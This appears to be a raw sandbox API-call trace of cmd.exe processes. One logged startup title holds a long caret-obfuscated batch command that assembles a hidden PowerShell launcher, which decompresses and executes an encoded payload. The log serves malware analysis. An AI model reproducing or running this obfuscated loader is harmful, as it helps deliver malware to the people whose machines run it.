lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.413] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.413] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.413] GetLastError () returned 0x2 [0086.413] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.413] GetLastError () returned 0x2 [0086.414] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.414] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.414] GetLastError () returned 0x2 [0086.414] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.414] GetLastError () returned 0x2 [0086.414] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.414] FindFirstFileExW (in: lpFileName="C:\\Windows\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.414] GetLastError () returned 0x2 [0086.414] FindFirstFileExW (in: lpFileName="C:\\Windows\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.415] GetLastError () returned 0x2 [0086.415] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.415] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.416] GetLastError () returned 0x2 [0086.416] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.416] GetLastError () returned 0x2 [0086.416] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.416] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.416] GetLastError () returned 0x2 [0086.416] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.417] GetLastError () returned 0x2 [0086.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client\\SeT.*", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.418] GetLastError () returned 0x2 [0086.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Client\\SeT", fInfoLevelId=0x1, lpFindFileData=0x1ec1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec1d0) returned 0xffffffffffffffff [0086.419] GetLastError () returned 0x2 [0086.419] GetConsoleTitleW (in: lpConsoleTitle=0x1ec4b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.420] GetEnvironmentVariableW (in: lpName="pVZ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="\"\"") returned 0x2 [0086.420] wcstol (in: _String=" 1!%", _EndPtr=0x1ecb90, _Radix=0 | out: _EndPtr=0x1ecb90*="!%") returned 1 [0086.420] GetConsoleTitleW (in: lpConsoleTitle=0x1eca50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.420] SetErrorMode (uMode=0x0) returned 0x8001 [0086.420] SetErrorMode (uMode=0x1) returned 0x0 [0086.420] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2f4c00, lpFilePart=0x1ec2e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ec2e0*="Desktop") returned 0x19 [0086.420] SetErrorMode (uMode=0x8001) returned 0x1 [0086.420] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0086.420] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0086.420] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.420] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.421] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\cmd.*", fInfoLevelId=0x1, lpFindFileData=0x1ec050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec050) returned 0xffffffffffffffff [0086.421] GetLastError () returned 0x2 [0086.421] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\cmd", fInfoLevelId=0x1, lpFindFileData=0x1ec050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec050) returned 0xffffffffffffffff [0086.421] GetLastError () returned 0x2 [0086.421] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.*", fInfoLevelId=0x1, lpFindFileData=0x1ec050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec050) returned 0x2ef660 [0086.421] FindClose (in: hFindFile=0x2ef660 | out: hFindFile=0x2ef660) returned 1 [0086.421] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.COM", fInfoLevelId=0x1, lpFindFileData=0x1ec050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec050) returned 0xffffffffffffffff [0086.422] GetLastError () returned 0x2 [0086.422] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ec050, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ec050) returned 0x2f0850 [0086.422] FindClose (in: hFindFile=0x2f0850 | out: hFindFile=0x2f0850) returned 1 [0086.422] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0086.422] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0086.422] GetConsoleTitleW (in: lpConsoleTitle=0x1ec5a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.422] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ec358, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ec318 | out: lpAttributeList=0x1ec358, lpSize=0x1ec318) returned 1 [0086.422] UpdateProcThreadAttribute (in: lpAttributeList=0x1ec358, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ec308, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ec358, lpPreviousValue=0x0) returned 1 [0086.423] GetStartupInfoW (in: lpStartupInfo=0x1ec470 | out: lpStartupInfo=0x1ec470*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0086.423] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0086.424] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd , , /r ,%q4j:\"\"=\"%", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ec390*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="cmd , , /r ,%q4j:\"\"=\"%", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ec340 | out: lpCommandLine="cmd , , /r ,%q4j:\"\"=\"%", lpProcessInformation=0x1ec340*(hProcess=0x54, hThread=0x50, dwProcessId=0xae4, dwThreadId=0xae8)) returned 1 [0086.428] CloseHandle (hObject=0x50) returned 1 [0086.429] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.345] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.345] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0091.345] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.345] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0091.345] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.345] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0091.345] SetConsoleInputExeNameW () returned 0x1 [0091.346] GetConsoleOutputCP () returned 0x1b5 [0091.346] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0091.346] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0091.346] exit (_Code=0) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2ae00000" os_pid = "0xae4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xadc" cmd_line = "cmd , , /r ,%q4j:\"\"=\"%" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1013 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1014 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1015 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1016 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1017 start_va = 0x49d50000 end_va = 0x49da8fff entry_point = 0x49d50000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1018 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1019 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1020 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1021 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1022 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1023 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1024 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1025 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1026 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1027 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1028 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1029 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1030 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1031 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1032 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1033 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1034 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 1035 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1036 start_va = 0x4e0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 1037 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 1038 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1039 start_va = 0x810000 end_va = 0x1c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 1040 start_va = 0x1c10000 end_va = 0x1f52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c10000" filename = "" Region: id = 1041 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1042 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1043 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1044 start_va = 0x7fee6880000 end_va = 0x7fee6887fff entry_point = 0x7fee6880000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1045 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1046 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1047 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1048 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1049 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1050 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1051 start_va = 0x1f60000 end_va = 0x222efff entry_point = 0x1f60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 84 os_tid = 0xae8 [0086.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ef7f0 | out: lpSystemTimeAsFileTime=0x2ef7f0*(dwLowDateTime=0x255e9ac0, dwHighDateTime=0x1d471c5)) [0086.727] GetCurrentProcessId () returned 0xae4 [0086.727] GetCurrentThreadId () returned 0xae8 [0086.727] GetTickCount () returned 0x2192a [0086.727] QueryPerformanceCounter (in: lpPerformanceCount=0x2ef7f8 | out: lpPerformanceCount=0x2ef7f8*=1814516400000) returned 1 [0086.774] GetModuleHandleW (lpModuleName=0x0) returned 0x49d50000 [0086.774] __set_app_type (_Type=0x1) [0086.775] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d77810) returned 0x0 [0086.775] __getmainargs (in: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610, _DoWildCard=0, _StartInfo=0x49d7e0f4 | out: _Argc=0x49d9a608, _Argv=0x49d9a618, _Env=0x49d9a610) returned 0 [0086.775] GetCurrentThreadId () returned 0xae8 [0086.775] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xae8) returned 0x3c [0086.775] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0086.775] 